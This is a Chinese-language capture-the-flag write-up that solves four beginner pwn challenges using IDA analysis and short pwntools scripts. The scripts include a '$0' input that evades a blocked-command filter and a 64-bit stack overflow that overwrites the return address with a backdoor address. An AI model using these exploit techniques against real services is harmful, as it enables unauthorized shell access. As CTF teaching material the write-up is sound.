一、sandbox
先下载文件

将文件放进虚拟机中查看一下

发现是一个64位程序,并且开启Canary和NX保护

简单介绍一下 #本段内容取至其他博主
NX保护机制:将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
Stack保护机制:在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致。
我们继续,将程序丢入IDA64中查看一下main函数

发现一个叫box的函数,进去看一看

发现buf不能输入sh cat flag 但又要给buf赋值来执行system命令得到权限
这里我也不会,看了WP发现是给buf输入$0
懂的人可以评论说一下 蟹蟹~
明白之后编写脚本
from pwn import *
r =remote("120.46.59.242", 2117)
payload='$0'
r.sendline(payload)
r.interactive()
然后运行脚本
得到flag

二、creeper
老规矩,下载丢进虚拟机看一下(下载就不截图了)

ELF 64位程序,并且只开启了NX保护
丢进IDA64看一下main函数

看到了一个叫game的函数,双击进去看一下

发现关键信息 system("cat flag");
当buf长度等于15的时候就会执行system("cat flag");
话不多说开干
脚本如下:
from pwn import *
r =remote("ip", port)
r.recvuntil('Creeper?')
r.send('a'*15)
运行后得到FLAG

三、简单溢出
听名字就猜一下,应该是简单的栈溢出
丢进虚拟机看一下

ELF文件,64位程序,开启了NX保护机制
现在进入IDA64 查看一下

就一个输入? 我们在找找看 shift+F12查看一下字符串

看看发现了啥! /bin/sh 这可是个好东西呢
双击看一下位置

跟到fact函数中再看看

经典到不能再经典的后门函数了
记录一下该函数的内存地址 0x400596

然后记录一下偏移量 0x30+8
为啥是0x30+8因为已经标志出来了 [rbp-30]
至于后面的+8 是因为这是64位程序,要是32位就+4
好了偏移量和函数地址都记录了,开搞把
from pwn import *
r =remote("ip", port)
sys_addr=0x400596
padding=0x30+8
payload=b'a' * padding + p64(sys_addr)
r.sendline(payload)
r.interactive()
然后运行脚本,cat flag得到flag

四、system
老规矩不说了,虚拟机 先file 然后checksec一下

ELF 文件,64位程序,Canary保护,NX保护
然后进IDA

shift+F12 发现没有 /bin/sh 只能老老实实去看一下main函数了

有时我真的怀疑这是认真的么,直接发送cat flag 字符串即可
编写脚本
from pwn import *
r =remote("ip", port)
payload=b'cat flag'
r.sendline(payload)
r.interactive()
运行后得到flag
本文详细描述了四个逆向工程和安全漏洞利用的实例,涉及4种不同的程序保护机制(如NX和Canary),通过IDA64分析,利用溢出技巧绕过防护,最终获取flag。作者使用Python的`pwn`库进行远程攻击演示。
890





